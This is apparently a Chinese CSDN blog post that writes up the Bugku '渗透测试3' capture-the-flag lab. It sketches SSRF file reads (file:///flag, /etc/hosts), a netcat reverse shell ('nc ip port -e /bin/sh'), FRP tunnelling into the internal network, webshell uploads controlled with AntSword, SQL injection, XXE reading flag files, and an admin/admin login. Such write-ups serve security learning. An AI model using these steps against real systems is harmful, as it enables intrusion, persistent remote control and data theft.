bugku-渗透测试3

最新推荐文章于 2024-08-12 13:30:59 发布

_WHOAM1

最新推荐文章于 2024-08-12 13:30:59 发布

阅读量421

点赞数

分类专栏：内网渗透项目文章标签： web安全网络安全

本文链接：https://blog.csdn.net/ericalezl/article/details/131596157

版权

内网渗透项目专栏收录该内容

3 篇文章 0 订阅

订阅专栏

文章描述了一次网络安全测试的过程，通过SSRF漏洞读取内网信息，探测到192.168.0.10网站可能存在安全风险，执行命令反弹shell并利用FRP实现内网穿透。接着，通过SQL注入和XXE漏洞获取更多数据，并利用蚁剑进行远程控制。

摘要由CSDN通过智能技术生成

首先ssrf读取文件url=file:///flag ，拿到flag
探测内网主机
在这里插入图片描述 1 2 10 138 250 的主机

读取/etc/hosts, /proc/net/arp, 拿到内网信息
扫描内网端口，提示192.168.0.10网站被黑，可能存有shell.php
利用这个去执行命令反弹shell
测试可以出网
测试命令发现对面不支持bash，可以用sh -c执行命令
在这里插入图片描述 nc ip port -e /bin/sh 反弹成功
将frp传到内网
vps开启服务./frps -c ./frps.ini，目标上执行./frpc -c ./frpc.ini
proxifier配置代理,ip是公网服务器ip，端口是frpc.ini中的remote_port
此时本地访问192.168.0.10/shell.php即可访问到目标内网的shell.php
在这里插入图片描述
在目标写入一句话，蚁剑连接
192.168.0.138SQL注入
192.168.0.250存在xxe，读取/flag和/var/www/html/flag
在192.168.0.10里还发发现10.10.0.22

访问10.10.0.22，加上admin.php,进入后台，输入admin、admin登录
文件夹管理上传shell,点击拿到路径
在这里插入图片描述连接蚁剑
拿到网站根目录和根目录下的两个flag